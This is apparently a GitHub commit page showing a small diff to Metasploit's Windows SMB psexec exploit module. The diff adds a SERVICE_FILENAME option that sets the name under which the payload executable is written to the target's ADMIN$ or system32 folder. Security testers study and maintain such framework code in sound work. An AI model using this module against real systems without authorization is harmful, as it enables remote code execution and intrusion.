Skip to content

Commit 4f6d80c

Browse files
committed
Land rapid7#1804, user-settable filename for psexec
2 parents 146a30e + 5964d36 commit 4f6d80c

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

modules/exploits/windows/smb/psexec.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,8 @@ def initialize(info = {})
8282
register_advanced_options(
8383
[
8484
OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
85-
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false])
85+
OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]),
86+
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil])
8687
], self.class)
8788
end
8889

@@ -124,6 +125,8 @@ def exploit
124125
report_auth_info(report_hash)
125126
end
126127

128+
filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
129+
127130
if datastore['MOF_UPLOAD_METHOD']
128131
# payload as exe
129132
print_status("Trying wbemexec...")
@@ -133,7 +136,6 @@ def exploit
133136
return
134137
end
135138
simple.connect("ADMIN$")
136-
filename = rand_text_alpha(8) + ".exe"
137139
exe = generate_payload_exe
138140
fd = smb_open("\\system32\\#{filename}", 'rwct')
139141
fd << exe
@@ -152,7 +154,6 @@ def exploit
152154
# Disconnect from the ADMIN$
153155
simple.disconnect("ADMIN$")
154156
else
155-
filename = rand_text_alpha(8) + ".exe"
156157
servicename = rand_text_alpha(8)
157158

158159
# Upload the shellcode to a file

0 commit comments

Comments
 (0)